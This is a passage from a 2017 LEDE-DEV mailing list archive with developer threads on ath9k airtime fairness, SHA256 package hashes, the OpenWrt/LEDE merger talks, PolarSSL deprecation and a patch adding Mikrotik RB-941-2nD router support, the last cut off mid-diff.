> Felix says it a no go on ath9k airtime fairness for the release....AND
> that's all we really need to know :)
Larry, please calm down and read the thread more carefully before
getting annoyed :)

Michal brought up ath10k first, because he thinks the issues might be
related to what we're seeing with ath9k + ATF.

Also, the mailing lists that Dave Cc'd make sense to me and any
discussion that might lead to resolving these issues is highly appreciated.

- Felix


From patchwork-notifications at patchwork.ozlabs.org  Thu Jan  5 07:50:02 2017
From: patchwork-notifications at patchwork.ozlabs.org (Patchwork)
Date: Thu, 05 Jan 2017 15:50:02 -0000
Subject: [LEDE-DEV] [lede] Patch notification: 1 patch updated
Message-ID: <20170105155002.325.59540@ozlabs.org>

Hello,

The following patch (submitted by you) has been updated in patchwork:

 * lede: [LEDE-DEV,v2] musl: update musl to 1.1.16+ and switch to download from git
     - http://patchwork.ozlabs.org/patch/710536/
     - for: LEDE development
    was: New
    now: Accepted

This email is a notification only - you do not need to respond.

Happy patchworking.

--

This is an automated mail sent by the patchwork system at
patchwork.ozlabs.org. To stop receiving these notifications, edit
your mail settings at:
  http://patchwork.ozlabs.org/mail/


From weedy2887 at gmail.com  Thu Jan  5 10:53:16 2017
From: weedy2887 at gmail.com (Weedy)
Date: Thu, 5 Jan 2017 13:53:16 -0500
Subject: [LEDE-DEV] [Make-wifi-fast] ath9k airtime fairness stabiity
 issues?
In-Reply-To: <02b7e6c4-0368-93b7-4833-88d685594f99@nbd.name>
References: <CAA93jw4HPmowd1BFUK1rwecJMNLCHpy9vrCJwX9q55B7C4iu2Q@mail.gmail.com>
 <CAOp4FwRY2e=a0RLn2TxSYJeiWyDF9hm-fBMADf2U+n4BevYGYQ@mail.gmail.com>
 <46229222-ccb9-549d-578d-a8f4c9b83de4@nbd.name>
 <CA+BoTQmMGgzeXm00ys5tFHZQDAjL4++M1cduESxB9C1a2dUzTQ@mail.gmail.com>
 <CAA93jw5_kQB6TU1emO9-47Qmf8FwZYQGvR6J0rw0Mts=MP6Y+A@mail.gmail.com>
 <1431268961.444746.1483629477614@mail.yahoo.com>
 <02b7e6c4-0368-93b7-4833-88d685594f99@nbd.name>
Message-ID: <CAFE24U0Y0BqmeRHTrNdUkX2KhE6gpK3MEfXdn+2D8+pM+k74+w@mail.gmail.com>

I just want to chime in that I have felt no negatives and arguable
positives since deploying v1 of the airtime fairness patch.

I'm currently on git master from Dec 29th (so after the compat bump
and v2 fairness merge) and I want to say my Wi-Fi feels better then my
build from v1 timeframe. I got a few laptops (mines ath9k, pretty sure
ones intel, and the last ones broadcom), a few phones (qualcomm
CPUs/radios), and a couple tablets (broadcom). I even deployed a
wireless repeater I made with 2 ath9k cards so wds is turned on too.

I would think airtime fairness is not going to be pulled out of
master, but I really hope we can still ship it to people in 17.01. If
there is anything you want me to try I can do my best to test things.


From f.fainelli at gmail.com  Thu Jan  5 12:26:32 2017
From: f.fainelli at gmail.com (Florian Fainelli)
Date: Thu, 5 Jan 2017 12:26:32 -0800
Subject: [LEDE-DEV] [PATCH 0/6] Random updates and fixes
In-Reply-To: <20170101001336.16059-1-f.fainelli@gmail.com>
References: <20170101001336.16059-1-f.fainelli@gmail.com>
Message-ID: <81f047bf-fc7c-3c3b-5bc1-38344b1ac5c6@gmail.com>

On 12/31/2016 04:13 PM, Florian Fainelli wrote:
> This patch series bumps a few packages in order to get updated CMakeList.txt
> and/or compiler warning fixed.
> 
> Patch 4 mimics what other packages (e.g: uhttpd) do wrt. libcrypt since for
> some reason CMake is unable to find this library.
> 
> Patch 5 fixes an issue spotted with the stbgcc-4.8-1.5 external toolchain while
> building for Malta.
> 
> Patch 6 finally, fixes the malta README file wrt. command-line examples

Thanks for taking the first 3 patches, you may want to take patches 5/6
(or all of them provided you agree with how it's done in patch 4) for
the release, since they are potentially useful.

Thanks!

> 
> Please apply
> 
> Florian Fainelli (6):
>   uclient: Update to 2016-12-09
>   fstools: Update to 2016-12-04
>   rpcd: Update to 2016-12-03
>   rpcd: Explicitly link with lcrypt
>   toolchain: Broaden the executable loader pattern
>   malta: Fix README file examples
> 
>  package/libs/toolchain/Makefile | 2 +-
>  package/libs/uclient/Makefile   | 6 +++---
>  package/system/fstools/Makefile | 6 +++---
>  package/system/rpcd/Makefile    | 8 +++++---
>  target/linux/malta/README       | 4 ++--
>  5 files changed, 14 insertions(+), 12 deletions(-)
> 


-- 
Florian


From xypron.glpk at gmx.de  Thu Jan  5 14:28:21 2017
From: xypron.glpk at gmx.de (Heinrich Schuchardt)
Date: Thu, 5 Jan 2017 23:28:21 +0100
Subject: [LEDE-DEV] SHA256 hashes for packages
In-Reply-To: <openwrt/packages/pull/3768/c270771265@github.com>
References: <openwrt/packages/pull/3768@github.com>
 <openwrt/packages/pull/3768/c270771265@github.com>
Message-ID: <32cf9ce7-8dff-3566-3d59-c2f1797b348a@gmx.de>

Hello Hannu,

why should a variable be called MD5 if it holds an SHA256 hash? That
does not make any sense.

Could you, please, point me to the thread on the openwrt or lede list
that discussed this weird idea.

Abusing the MD5 variable with SHA256 hashes will break compatibility
with older openwrt releases.

If you want an SHA256 hash, please, use an SHA256 variable.

This was already pointed out in
https://bugs.lede-project.org/index.php?do=details&task_id=326&order=id&sort=asc&order2=summary&sort2=desc

Anyway it is safer to use multiple hashes.

Best regards

Heinrich Schuchardt


On 01/05/2017 11:05 PM, Hannu Nyman wrote:
> Could you please update the PR a bit and replace the MD5 hash with a
> SHA256 hash.
> 
> (Leave the variable name as it is now, but replace the hash itself with
> the longer SHA256 hash.)
> 
> Same goes for other packages that you maintaining. MD5 is being phased
> out, so please use SHA256 when issuing updates as PRs.
> 



From alberto.bursi at outlook.it  Thu Jan  5 14:59:28 2017
From: alberto.bursi at outlook.it (Alberto Bursi)
Date: Thu, 5 Jan 2017 22:59:28 +0000
Subject: [LEDE-DEV] SHA256 hashes for packages
In-Reply-To: <32cf9ce7-8dff-3566-3d59-c2f1797b348a@gmx.de>
References: <openwrt/packages/pull/3768@github.com>
 <openwrt/packages/pull/3768/c270771265@github.com>
 <32cf9ce7-8dff-3566-3d59-c2f1797b348a@gmx.de>
Message-ID: <AM3PR08MB06423601D093ED4A6B436E1B92600@AM3PR08MB0642.eurprd08.prod.outlook.com>

Older OpenWRT releases won't get the new package (or the updates) anyway 
so breaking compatibility is not an issue.

Although using a misleading name is still an issue. In LEDE core repo 
that var was renamed into PKG_HASH and contains a SHA256sum.

The LEDE buildsystem works with both variables
https://github.com/lede-project/source/commit/7416d2e046b87b262b407f8af70b8dd9b2927c70

Some packages in OpenWRT feeds are being updated with PKG_HASH in 
addition to the MD5 var.
https://github.com/openwrt/packages/commit/e73964fa8fae94473e9046dfd8fd505206b50ab3

I think the official way forward is to use PKG_HASH instead of placing a 
SHA256sum in a var called MD5.

-Alberto

On 01/05/2017 11:28 PM, Heinrich Schuchardt wrote:
> Hello Hannu,
>
> why should a variable be called MD5 if it holds an SHA256 hash? That
> does not make any sense.
>
> Could you, please, point me to the thread on the openwrt or lede list
> that discussed this weird idea.
>
> Abusing the MD5 variable with SHA256 hashes will break compatibility
> with older openwrt releases.
>
> If you want an SHA256 hash, please, use an SHA256 variable.
>
> This was already pointed out in
> https://bugs.lede-project.org/index.php?do=details&task_id=326&order=id&sort=asc&order2=summary&sort2=desc
>
> Anyway it is safer to use multiple hashes.
>
> Best regards
>
> Heinrich Schuchardt
>
>
> On 01/05/2017 11:05 PM, Hannu Nyman wrote:
>> Could you please update the PR a bit and replace the MD5 hash with a
>> SHA256 hash.
>>
>> (Leave the variable name as it is now, but replace the hash itself with
>> the longer SHA256 hash.)
>>
>> Same goes for other packages that you maintaining. MD5 is being phased
>> out, so please use SHA256 when issuing updates as PRs.
>>
>
>



From lede-daniel at cshore.thecshore.com  Thu Jan  5 15:04:04 2017
From: lede-daniel at cshore.thecshore.com (Daniel Dickinson)
Date: Thu, 5 Jan 2017 18:04:04 -0500
Subject: [LEDE-DEV] Talks between OpenWrt and LEDE
In-Reply-To: <0ab7406e-d007-89d9-5851-5ed121dc2081@hauke-m.de>
References: <0ab7406e-d007-89d9-5851-5ed121dc2081@hauke-m.de>
Message-ID: <20170105180152.14fe0f5a@danielf.thecshore.com>

On Wed, 21 Dec 2016 13:06:22 -0500
"Hauke Mehrtens" <hauke at hauke-m.de> wrote:

> We had multiple meetings to find a solution to solve the problems
> between the OpenWrt and the LEDE project and to discuss a possible
> merge. Everyone with commit access to LEDE and all OpenWrt core
> developers were invited to these meetings. We had productive and
> friendly discussions about the problems and our goals.

Congratulations to both sides on finding a path back from a bad
situation that my personal issues exacerbated.  I hope the combined
project can move forward in a positive new environment.

> It is still not decided that both project will finally merge and we
> haven't decided on the name to use, which parts of the infrastructure
> and many other things. In general we are agreeing on many parts and I
> am looking forward to a good merged ending for all of us.

I agree with those on this thread that suggest changin the name but in
a Co-Branded manner to being with.

As part of this those I'm thinking that having a more
'commercial-quality' flavour and a more 'community' flavour branches
would be useful.

I know that one of the struggles with OpenWrt in the past has been a
lot of decisions for expediency and/or testing bleeding edge stuff.

I'm thinking that the 'commercial-quality' flavour should look more
like the type of hard-core approach of the modern linux kernel; one of
the problems the kernel had when growing up, which I think is mirrored
in openwrt/lede is a shift from a less structured community of
'hackers' (not in the cracking sense), to a core infrastructure
project, that has made the main kernel a less approachable project for
those who aren't professionally involved in kernel work, but has been
necessary for code/kernel quality.

I've thought of a couple of different ways of looking at this.

There is the approach that says that OpenWrt/LEDE concentrates on the
build system (kernel + minimum set of packages, but also ubus, ubox and
other core components to produce an SDK that is used to build everything
else; and doesn't not by itself produce a working firmware image).
This includes things like wifi components where untested code should
not be part of what non-engineers are working on or being exposed to in
a proper wifi test lab.

The next level of that would be having different 'integration layers'
which combine the core components plus relevant other packages into a
useful 'product'.

The purpose of the integration layers is to allow experimentation and
community development of for some layers, which is more bleeding edge
and/or 'many eyes makes all bugs shallow', vs. the current stated core
mission which is a 'commercial-quality' router firmware, which
integration layer would be subject to more stringent standards and QA
practices (but could benefit from community developed
features/enhancements/bug requests).

Ideally for the commercial-quality router integration layer the
ecosystem of businesses benefiting from OpenWrt/LEDE would step up and
participate in kernel-esque collaboration.

Another approach says that the 'core mission' is the only thing there
is really the manpower for in the forseeable future and moves the
project to a more kernel-esque level of rigour, including the relevant
subset of the various packages feeds and luci that are part of the
'commercial-quality firmware', and split out the community parts so
that they don't detract from the primary efforts.

Unfortunately I'm not sure how much I can contribute to either effort;
I'm interested but not sure that this is how I ought to be using the
bulk of my time, and I'm not sure a community edition really has enough
people with enough time to make it work.

That's in part why I think having a core SDK, plus a cherry-picked
'commercial-quality' sets of feeds is the way to go; it allows
community users to concentrate on efforts that not only interest them
part aren't doing more harm than good.  Certainly there will be some
community members who will participate in both, but I think for the
benefit of the 'core mission' raising the bar on the core parts is a
necessary step even though it will be painful.  However, I think it
would be helpful to have a little blurb about *why* and *what* change
is being implemented both on the site and on commit templates, so that
contributors are less likely to be taken by surprise with the hard-core
approach.

When I first saw the fork I thought a way to refresh community but now
I'm thinking David Woodhouse's approach is more appropriate for the
'core mission', and community efforts ought to be more like 'Linux
Mint' (only community) on top of the core distro.

In large part the difference for me has been what I was having medical
issues leading to vocal and unhelpful thinking and messages and now
that I have recovered I see a great deal more value in the rigorous
approach, at least for the core.

Regards,

Daniel


From lede-daniel at cshore.thecshore.com  Thu Jan  5 15:14:37 2017
From: lede-daniel at cshore.thecshore.com (Daniel Dickinson)
Date: Thu, 5 Jan 2017 18:14:37 -0500
Subject: [LEDE-DEV] Talks between OpenWrt and LEDE
In-Reply-To: <0ab7406e-d007-89d9-5851-5ed121dc2081@hauke-m.de>
References: <0ab7406e-d007-89d9-5851-5ed121dc2081@hauke-m.de>
Message-ID: <20170105180152.14fe0f5a@danielf.thecshore.com>

On Wed, 21 Dec 2016 13:06:22 -0500
"Hauke Mehrtens" <hauke at hauke-m.de> wrote:

> We had multiple meetings to find a solution to solve the problems
> between the OpenWrt and the LEDE project and to discuss a possible
> merge. Everyone with commit access to LEDE and all OpenWrt core
> developers were invited to these meetings. We had productive and
> friendly discussions about the problems and our goals.

Congratulations to both sides on finding a path back from a bad
situation that my personal issues exacerbated.  I hope the combined
project can move forward in a positive new environment.

> It is still not decided that both project will finally merge and we
> haven't decided on the name to use, which parts of the infrastructure
> and many other things. In general we are agreeing on many parts and I
> am looking forward to a good merged ending for all of us.

I agree with those on this thread that suggest changin the name but in
a Co-Branded manner to being with.

As part of this those I'm thinking that having a more
'commercial-quality' flavour and a more 'community' flavour branches
would be useful.

I know that one of the struggles with OpenWrt in the past has been a
lot of decisions for expediency and/or testing bleeding edge stuff.

I'm thinking that the 'commercial-quality' flavour should look more
like the type of hard-core approach of the modern linux kernel; one of
the problems the kernel had when growing up, which I think is mirrored
in openwrt/lede is a shift from a less structured community of
'hackers' (not in the cracking sense), to a core infrastructure
project, that has made the main kernel a less approachable project for
those who aren't professionally involved in kernel work, but has been
necessary for code/kernel quality.

I've thought of a couple of different ways of looking at this.

There is the approach that says that OpenWrt/LEDE concentrates on the
build system (kernel + minimum set of packages, but also ubus, ubox and
other core components to produce an SDK that is used to build everything
else; and doesn't not by itself produce a working firmware image).
This includes things like wifi components where untested code should
not be part of what non-engineers are working on or being exposed to in
a proper wifi test lab.

The next level of that would be having different 'integration layers'
which combine the core components plus relevant other packages into a
useful 'product'.

The purpose of the integration layers is to allow experimentation and
community development of for some layers, which is more bleeding edge
and/or 'many eyes makes all bugs shallow', vs. the current stated core
mission which is a 'commercial-quality' router firmware, which
integration layer would be subject to more stringent standards and QA
practices (but could benefit from community developed
features/enhancements/bug requests).

Ideally for the commercial-quality router integration layer the
ecosystem of businesses benefiting from OpenWrt/LEDE would step up and
participate in kernel-esque collaboration.

Another approach says that the 'core mission' is the only thing there
is really the manpower for in the forseeable future and moves the
project to a more kernel-esque level of rigour, including the relevant
subset of the various packages feeds and luci that are part of the
'commercial-quality firmware', and split out the community parts so
that they don't detract from the primary efforts.

Unfortunately I'm not sure how much I can contribute to either effort;
I'm interested but not sure that this is how I ought to be using the
bulk of my time, and I'm not sure a community edition really has enough
people with enough time to make it work.

That's in part why I think having a core SDK, plus a cherry-picked
'commercial-quality' sets of feeds is the way to go; it allows
community users to concentrate on efforts that not only interest them
part aren't doing more harm than good.  Certainly there will be some
community members who will participate in both, but I think for the
benefit of the 'core mission' raising the bar on the core parts is a
necessary step even though it will be painful.  However, I think it
would be helpful to have a little blurb about *why* and *what* change
is being implemented both on the site and on commit templates, so that
contributors are less likely to be taken by surprise with the hard-core
approach.

When I first saw the fork I thought a way to refresh community but now
I'm thinking David Woodhouse's approach is more appropriate for the
'core mission', and community efforts ought to be more like 'Linux
Mint' (only community) on top of the core distro.

In large part the difference for me has been what I was having medical
issues leading to vocal and unhelpful thinking and messages and now
that I have recovered I see a great deal more value in the rigorous
approach, at least for the core.

Regards,

Daniel


From martin.blumenstingl at googlemail.com  Thu Jan  5 15:49:40 2017
From: martin.blumenstingl at googlemail.com (Martin Blumenstingl)
Date: Fri, 6 Jan 2017 00:49:40 +0100
Subject: [PATCH] lantiq: fix console print
In-Reply-To: <20170104221126.29444-1-hauke@hauke-m.de>
References: <20170104221126.29444-1-hauke@hauke-m.de>
Message-ID: <CAFBinCDZ7gcaMZ=XbX-rpDFbgTOA8A3qqJW_KroVqW02SxqoqQ@mail.gmail.com>

Hi Hauke,

sorry for the late reply - turns out I didn't have time to look into
this all week until now.

On Wed, Jan 4, 2017 at 11:11 PM, Hauke Mehrtens <hauke at hauke-m.de> wrote:
> The boot loader of many boards provides a kernel boot argument with a
> broken console parameter to the kernel. This will be taken before the
> stdout-path defined in device tree and the serial will not work on this
> board. Multiple boards are affected by this problem, so revert this
> patch for all boards. Later we can remove the boot arguments from the
> device tree again, after the individual board was checked to work.
>
> This partly reverts this commit:
> commit 4995c64857a09c4cc92238ba0bd52cdb06c4c581
> Author: Martin Blumenstingl <martin.blumenstingl at googlemail.com>
> Date:   Sun Dec 11 21:55:00 2016 +0100
>
>     lantiq: specify console using stdout-path instead of cmdline argument
nit picking here: your patch actually fixes
6b94234a6598b855573a6516494de8e7d755e944 because I removed the
bootargs in that patch -> the kernel only uses the bootloader's
cmdline if there are no bootargs inside the .dts

your change looks good to me, except for two boards (there might be
more, I don't have access to a computer with a sane operating system
at the momemnt) which are still missing the bootargs:
* ARV4525PW
* ARV8539PW22

both are including danube.dtsi which provided default bootargs for all
danube boards, see [0]
unfortunately I won't be able to send a patch until Sunday (fingers
crossed...), so it'd be awesome if someone else could do this.

thanks for un-breaking things I broke!

Regards,
Martin


[0] https://git.lede-project.org/?p=source.git;a=blobdiff;f=target/linux/lantiq/dts/danube.dtsi;h=f11787f9754c9f6d0a033334bb100944a53ea6fd;hp=37db51245448fa09eb86fa0e70c1c230833db99a;hb=6b94234a6598b855573a6516494de8e7d755e944;hpb=4995c64857a09c4cc92238ba0bd52cdb06c4c581


From daniel at bovensiepen.net  Thu Jan  5 21:29:07 2017
From: daniel at bovensiepen.net (Daniel (bovi) Bovensiepen)
Date: Fri, 6 Jan 2017 13:29:07 +0800
Subject: [LEDE-DEV] Talks between OpenWrt and LEDE
In-Reply-To: <20170105180152.14fe0f5a@danielf.thecshore.com>
References: <0ab7406e-d007-89d9-5851-5ed121dc2081@hauke-m.de>
 <20170105180152.14fe0f5a@danielf.thecshore.com>
Message-ID: <B5E5B639-1121-49C6-9CE0-3C61FF0F8EF7@bovensiepen.net>


> As part of this those I'm thinking that having a more
> 'commercial-quality' flavour and a more 'community' flavour branches
> would be useful.

Could I make one remark concerning this: I fully understand from a review and quality point of view the current way of providing patches to LEDE or OpenWRT via E-Mail. In case that there would be ever a split between "commercial-grade" and "community-grade" version, is it possible to consider a contribution way via GitLab or Github for the community grade one? From experience in the Ruby community I can guarantee that the contribution level will increase dramatically. At the same time the quality of individual contributions will slightly go down but this is compensated by the quantity of new minds joining the contributor club.

Thanks for consideration.

/daniel

From david at lang.hm  Thu Jan  5 21:37:02 2017
From: david at lang.hm (David Lang)
Date: Thu, 5 Jan 2017 21:37:02 -0800 (PST)
Subject: [LEDE-DEV] Talks between OpenWrt and LEDE
In-Reply-To: <B5E5B639-1121-49C6-9CE0-3C61FF0F8EF7@bovensiepen.net>
References: <0ab7406e-d007-89d9-5851-5ed121dc2081@hauke-m.de>
 <20170105180152.14fe0f5a@danielf.thecshore.com>
 <B5E5B639-1121-49C6-9CE0-3C61FF0F8EF7@bovensiepen.net>
Message-ID: <nycvar.QRO.7.75.62.1701052134300.14016@qynat-yncgbc>

On Fri, 6 Jan 2017, Daniel (bovi) Bovensiepen wrote:

>> As part of this those I'm thinking that having a more
>> 'commercial-quality' flavour and a more 'community' flavour branches
>> would be useful.
>
> Could I make one remark concerning this: I fully understand from a review and 
> quality point of view the current way of providing patches to LEDE or OpenWRT 
> via E-Mail. In case that there would be ever a split between 
> "commercial-grade" and "community-grade" version, is it possible to consider a 
> contribution way via GitLab or Github for the community grade one? From 
> experience in the Ruby community I can guarantee that the contribution level 
> will increase dramatically. At the same time the quality of individual 
> contributions will slightly go down but this is compensated by the quantity of 
> new minds joining the contributor club.

LEDE is already accepting pull requests via github

But I think everyone is saying there won't be a 'commercial' vs 'community' 
split. There will be 'stable' vs tip-of-development, but that's it.

David Lang


From daniel at bovensiepen.net  Thu Jan  5 21:43:00 2017
From: daniel at bovensiepen.net (Daniel (bovi) Bovensiepen)
Date: Fri, 6 Jan 2017 13:43:00 +0800
Subject: [LEDE-DEV] Talks between OpenWrt and LEDE
In-Reply-To: <nycvar.QRO.7.75.62.1701052134300.14016@qynat-yncgbc>
References: <0ab7406e-d007-89d9-5851-5ed121dc2081@hauke-m.de>
 <20170105180152.14fe0f5a@danielf.thecshore.com>
 <B5E5B639-1121-49C6-9CE0-3C61FF0F8EF7@bovensiepen.net>
 <nycvar.QRO.7.75.62.1701052134300.14016@qynat-yncgbc>
Message-ID: <64094CDC-6EB6-4D70-AD18-3E5B070E4C41@bovensiepen.net>

	
> On 6 Jan 2017, at 1:37 PM, David Lang <david at lang.hm> wrote:
> 
> LEDE is already accepting pull requests via github

Oh I didn't realize that. Now I even see it on the lede webpage. I might have missed that before :-/ Thanks for the heads-up! 

/daniel

From hannu.nyman at iki.fi  Fri Jan  6 00:41:03 2017
From: hannu.nyman at iki.fi (Hannu Nyman)
Date: Fri, 6 Jan 2017 10:41:03 +0200
Subject: [LEDE-DEV] SHA256 hashes for packages
In-Reply-To: <32cf9ce7-8dff-3566-3d59-c2f1797b348a@gmx.de>
References: <openwrt/packages/pull/3768@github.com>
 <openwrt/packages/pull/3768/c270771265@github.com>
 <32cf9ce7-8dff-3566-3d59-c2f1797b348a@gmx.de>
Message-ID: <d8ec0e2b-7cef-f873-a67d-388cdff94e62@iki.fi>

On 6.1.2017 0:28, Heinrich Schuchardt wrote:
 > Hello Hannu,
 > why should a variable be called MD5 if it holds an SHA256 hash? That does 
not make any sense.
 >
 > Could you, please, point me to the thread on the openwrt or lede list that 
discussed this weird idea.

Not sure if that widely discussed in mailing lists in advance, but PKG_MD5SUM 
has accepted also SHA256 hash since January 2016 ( 
https://dev.openwrt.org/changeset/48253/ ) and the first core package was 
converted to use the mixed syntax immediately afterwards by 
https://dev.openwrt.org/changeset/48254 in January 2016.

Quite many packages in the packages feed repo have already been similarly 
converted to use sha256 although the field is named PKG_MD5SUM.

 > why should a variable be called MD5 if it holds an SHA256 hash?

You are right, that is confusing. To avoid confusion LEDE has already 
introduced PKG_HASH with lede-project/source at 7416d2e . Most core packages in 
LEDE were switched to use sha256 and the new variable with 
lede-project/source at 720b992

But as Openwrt has not yet introduced PKG_HASH, we can't use only PKG_HASH in 
the packages feed repo that is common to both.

As Jow already suggested in his answer, one non-confusing alternative is to 
use both PKG_MD5SUM with MD5 hash and PKG_HASH with SHA256 hash. Some 
packages have been committed that way.

 > Abusing the MD5 variable with SHA256 hashes will break compatibility with 
older openwrt releases.

To my knowledge the master branch in packages in only target DD/master/trunk 
in Openwrt and master in LEDE. Older release have their own branches like 
for-15.05 etc.


Ps. I had already answered to you in Github, but I only now noticed that you 
had written also this to the mailing lists at the same time.



From lede at kitschensync.net  Fri Jan  6 10:23:01 2017
From: lede at kitschensync.net (Ted Hess)
Date: Fri, 06 Jan 2017 13:23:01 -0500
Subject: [LEDE-DEV] Fading out PolarSSL
In-Reply-To: <d2aeb1bdb7169fdd210ea09ebdbd6378@midlink.org>
References: <2e242fd7-aa1f-7ebf-2aad-f139771548f1@mein.io>
 <d2aeb1bdb7169fdd210ea09ebdbd6378@midlink.org>
Message-ID: <1483726981.14436.4.camel@kitschensync.net>

On Tue, 2017-01-03 at 17:32 +0100, Steven Barth wrote:
> Hey everyone,
> 
> > 
> > Currently known remaining users of polarssl are:
> > 
> > ?* bmx7
> > ?* pianod
> > ?* shadowsocks-libev-polarssl
> > ?* shairport-sync-mini
> > ?* shairport-sync-polarssl
> > ?* transmission-cli-polarssl
> > ?* transmission-daemon-polarssl
> > ?* transmission-remote-polarssl
> > ?* umurmur-polarssl
> > 
> > 
> > Please provide feedback on which approach you'd prefer and if you'd be
> > affected by the PolarSSL deprecation or not.
> I think for all but the first two from this list, there is a?
> non-polarssl version already packaged.
> Which would mainly leave bmx7 and pianod as main concerns. I think the?
> former used to work with cyassl
> at some point in time and the latter should work with gnutls. Both of?
> which we have, so it might just
> be a minor change to the packaging Makefiles.
> 
> So from my point of view dropping libpolarssl now (with a bit of upfront?
> notice to the maintainers)
> makes more sense than trying to drop a package later which is a bit of?
> unexpected and am not sure if
> it can be effectively announced in a service release and just delays the?
> inevitable.
> 
> 
> Cheers,
> 
> Steven
> 
> _______________________________________________
> lede-adm mailing list
> lede-adm at lists.infradead.org
> http://lists.infradead.org/mailman/listinfo/lede-adm

Drop it now.

Speaking for pianod and shairport-sync... I have already updated pianod (which I
still develop) to use mbed TLS and I am currently working with the shairport-
sync developer to replace PolarSSL with mbed TLS this weekend.

/ted


From hacks at slashdirt.org  Fri Jan  6 10:58:02 2017
From: hacks at slashdirt.org (Thibaut VARENE)
Date: Fri, 6 Jan 2017 19:58:02 +0100
Subject: [LEDE-DEV] [PATCH] ar71xx: add support for RB-941-2nD
In-Reply-To: <20170104220438.057BA120082@vps.slashirt.org>
References: <20170104220438.057BA120082@vps.slashirt.org>
Message-ID: <15B51CD6-78EC-47FF-B48A-29D2873815DD@slashdirt.org>

I?m sorry, I?ve just realized there?s one change that I missed in the patch I sent, which is necessary for it to work:

Signed-off-by: Thibaut VARENE <hacks at slashdirt.org>
---
 include/image.mk |    7 +++++++
 1 file changed, 7 insertions(+)

diff --git a/include/image.mk b/include/image.mk
index 93c3bbd..1405f46 100644
--- a/include/image.mk
+++ b/include/image.mk
@@ -309,6 +309,13 @@ define Device/InitProfile
   DEVICE_DESCRIPTION = Build firmware images for $$(DEVICE_TITLE)
 endef
 
+define Build/kernel2minor
+       if [ -x $(STAGING_DIR_HOST)/bin/kernel2minor ]; then \
+               $(STAGING_DIR_HOST)/bin/kernel2minor -k $@ -r $@.new $(1); \
+               mv $@.new $@; \
+       fi
+endef
+
 define Device/Init
   DEVICE_NAME := $(1)
   KERNEL:=



> Le 4 janv. 2017 ? 23:04, "Thibaut VARENE <hacks at slashdirt.org>"@vps.slashdirt.org a ?crit :
> 
> From e55aa1ddff1563d582b456807f20c0457fcaed77 Mon Sep 17 00:00:00 2001
> From: Thibaut VARENE <hacks at slashdirt.org>
> Date: Wed, 4 Jan 2017 22:44:54 +0100
> Subject: [PATCH] ar71xx: add support for RB-941-2nD
> 
> Add full support for Mikrotik RB-941-2nD (hAP lite)
> 
> Original patch by Sergey Sergeev <adron at yapic.net> and
> more information is available here:
> https://wiki.openwrt.org/toh/mikrotik/rb941_2nd
> I updated and adapted the patch to apply cleanly to LEDE trunk
> and added proper numbering for the switch ports (matching case
> labels).
> Tested working on actual hardware with the information
> provided in the above webpage. Sysupgrade works.
> 
> Signed-off-by: Thibaut VARENE <hacks at slashdirt.org>
> ---
> target/linux/ar71xx/base-files/etc/board.d/01_leds |   3 +
> .../linux/ar71xx/base-files/etc/board.d/02_network |   4 +
> target/linux/ar71xx/base-files/etc/diag.sh         |   2 +-
> target/linux/ar71xx/base-files/lib/ar71xx.sh       |   3 +
> .../ar71xx/base-files/lib/upgrade/platform.sh      |  29 +++-
> target/linux/ar71xx/config-4.4                     |   1 +
> .../ar71xx/files/arch/mips/ath79/Kconfig.openwrt   |  10 ++
> target/linux/ar71xx/files/arch/mips/ath79/Makefile |   1 +
> .../ar71xx/files/arch/mips/ath79/mach-rb941.c      | 174 +++++++++++++++++++++
> .../linux/ar71xx/files/arch/mips/ath79/machtypes.h |   1 +
> target/linux/ar71xx/image/legacy.mk                |  23 +++
> .../linux/ar71xx/mikrotik/profiles/03-norflash.mk  |  16 ++
> 12 files changed, 263 insertions(+), 4 deletions(-)
> create mode 100644 target/linux/ar71xx/files/arch/mips/ath79/mach-rb941.c
> create mode 100644 target/linux/ar71xx/mikrotik/profiles/03-norflash.mk
> 
> diff --git a/target/linux/ar71xx/base-files/etc/board.d/01_leds b/target/linux/ar71xx/base-files/etc/board.d/01_leds
> index c6dcf36..75b5142 100755
> --- a/target/linux/ar71xx/base-files/etc/board.d/01_leds
> +++ b/target/linux/ar71xx/base-files/etc/board.d/01_leds
> @@ -199,6 +199,9 @@ rb-750)
> 	ucidef_set_led_switch "port4" "port4" "rb750:green:port4" "switch0" "0x04"
> 	ucidef_set_led_switch "port5" "port5" "rb750:green:port5" "switch0" "0x02"
> 	;;
> +rb-941-2nd)
> +	ucidef_set_led_timer "act" "act" "rb:green:act" "1000" "1000"
> +	;;
> rb-2011l|\
> rb-2011uas|\
> rb-2011uias|\
> diff --git a/target/linux/ar71xx/base-files/etc/board.d/02_network b/target/linux/ar71xx/base-files/etc/board.d/02_network
> index 8acd214..6fd9601 100755
> --- a/target/linux/ar71xx/base-files/etc/board.d/02_network
> +++ b/target/linux/ar71xx/base-files/etc/board.d/02_network
> @@ -237,6 +237,10 @@ ar71xx_setup_interfaces()
> 	dap-2695-a1)
> 		ucidef_add_switch "switch0" "0 at eth0" "2:lan" "3:wan" "6 at eth1"
> 		;;
> +	rb-941-2nd)
> +		ucidef_add_switch "switch0" \
> +			"0 at eth0" "1:lan:4" "2:lan:3" "3:lan:2" "4:wan:1"
> +	;;
> 	db120|\
> 	rb-2011l|\
> 	rb-2011uas|\
> diff --git a/target/linux/ar71xx/base-files/etc/diag.sh b/target/linux/ar71xx/base-files/etc/diag.sh
> index d060ccf..75c6c9a 100644
> --- a/target/linux/ar71xx/base-files/etc/diag.sh
> +++ b/target/linux/ar71xx/base-files/etc/diag.sh
> @@ -288,7 +288,7 @@ get_status_led() {
> 	rb-912uag-5hpnd)
> 		status_led="rb:green:user"
> 		;;
> -	rb-951ui-2hnd)
> +	rb-951ui-2hnd | rb-941-2nd)
> 		status_led="rb:green:act"
> 		;;
> 	rb-sxt2n|\
> diff --git a/target/linux/ar71xx/base-files/lib/ar71xx.sh b/target/linux/ar71xx/base-files/lib/ar71xx.sh
> index 3241100..527112b 100755
> --- a/target/linux/ar71xx/base-files/lib/ar71xx.sh
> +++ b/target/linux/ar71xx/base-files/lib/ar71xx.sh
> @@ -827,6 +827,9 @@ ar71xx_board_detect() {
> 	*"RouterBOARD 912UAG-5HPnD")
> 		name="rb-912uag-5hpnd"
> 		;;
> +	*"RouterBOARD 941-2nD")
> +		name="rb-941-2nd"
> +		;;
> 	*"RouterBOARD 951G-2HnD")
> 		name="rb-951g-2hnd"
> 		;;
> diff --git a/target/linux/ar71xx/base-files/lib/upgrade/platform.sh b/target/linux/ar71xx/base-files/lib/upgrade/platform.sh
> index 570aa68..5847125 100755
> --- a/target/linux/ar71xx/base-files/lib/upgrade/platform.sh
